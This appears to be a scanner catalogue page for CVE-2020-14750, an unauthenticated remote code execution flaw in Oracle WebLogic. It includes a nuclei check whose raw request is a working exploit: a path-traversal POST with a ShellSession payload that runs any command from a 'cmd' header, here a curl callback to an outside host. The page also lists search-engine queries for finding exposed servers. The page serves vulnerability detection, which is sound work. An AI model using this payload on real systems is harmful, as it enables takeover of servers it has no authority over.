Browse / CVEs / CVE-2020-14750
CVE-2020-14750· oracle / fusion middleware
Oracle WebLogic Server - Remote Command Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
Fix
Apply the latest security patches provided by Oracle to mitigate this vulnerability.
How to confirm it
Send: @timeout: 10s
Positive when: contains in interactsh_protocol "dns" AND contains in header "ADMINCONSOLESESSION=" AND matches /<html><head></head><body>(.*)</body></html>/Run it with nuclei: nuclei -id CVE-2020-14750 -u <target>
The full check
id: CVE-2020-14750
info:
name: Oracle WebLogic Server - Remote Command Execution
author: princechaddha,DhiyaneshDk
severity: critical
description: |
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
remediation: |
Apply the latest security patches provided by Oracle to mitigate this vulnerability.
reference:
- https://github.com/pprietosanchez/CVE-2020-14750
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-14750
epss-score: 0.99247
epss-percentile: 0.99936
cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: oracle
product: fusion_middleware
shodan-query:
- http.html:"Weblogic Application Server"
- http.title:"weblogic"
- http.html:"weblogic application server"
fofa-query:
- title="weblogic"
- body="weblogic application server"
google-query: intitle:"weblogic"
tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm,vkev,vuln
http:
- raw:
- |
@timeout: 10s
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept: */*
cmd: curl {{interactsh-url}}
Content-Type: application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: word
part: header
words:
- "ADMINCONSOLESESSION="
- type: regex
part: body
regex:
- '<html><head></head><body>(.*)</body></html>'References
- https://github.com/pprietosanchez/CVE-2020-14750
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
Use this check only on systems you are authorised to test. Where the data comes from